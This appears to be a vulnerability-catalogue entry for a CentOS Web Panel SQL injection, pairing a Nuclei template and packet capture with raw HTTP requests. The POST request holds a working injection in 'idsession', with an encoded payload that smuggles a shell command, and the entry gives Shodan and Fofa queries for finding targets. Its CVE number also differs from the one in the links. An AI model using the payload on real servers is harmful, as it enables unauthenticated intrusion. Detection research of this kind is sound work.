| Title | CentOS Web Panel - SQL Injection |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit SQL injection via the idsession parameter to extract database contents or execute arbitrary commands with root privileges. |
| Remediation | Apply security updates provided by CentOS Web Panel. |
| CVSS Score | 9.8 |
| EPSS Score | 0.65425 |
| CVE ID | CVE-2021-31324 |
| CWE ID | CWE-89 |
| Shodan Query | title:"Login | Control WebPanel" |
| Fofa Query | title="Login | Control WebPanel" |
| Tags | cve cve2021 centos cwpsrv sqli vuln |
The unprivileged user portal part of CentOS Web Panel is affected by a SQL Injection via the ‘idsession’ HTTP POST parameter.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /login/index.php?acc=newpass HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 198
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
pass1=c3VwZXJwYXNzd29yZA%3D%3D&idsession=a'%20UNION%20SELECT'a'%2c'b'%2c'c'%2c'YWJjIiBVTklPTiBTRUxFQ1QgJ2EnLCdiJywnYycsJ2QnLCcrMSBkYXknLCdmJy0tIHAiO3NsZWVwIDc7I2B8fGF8fGJ8fGN8fGQ%3d'%2c'e'%2c'f'-- p
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31316.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-31316.pcap
N/AN/A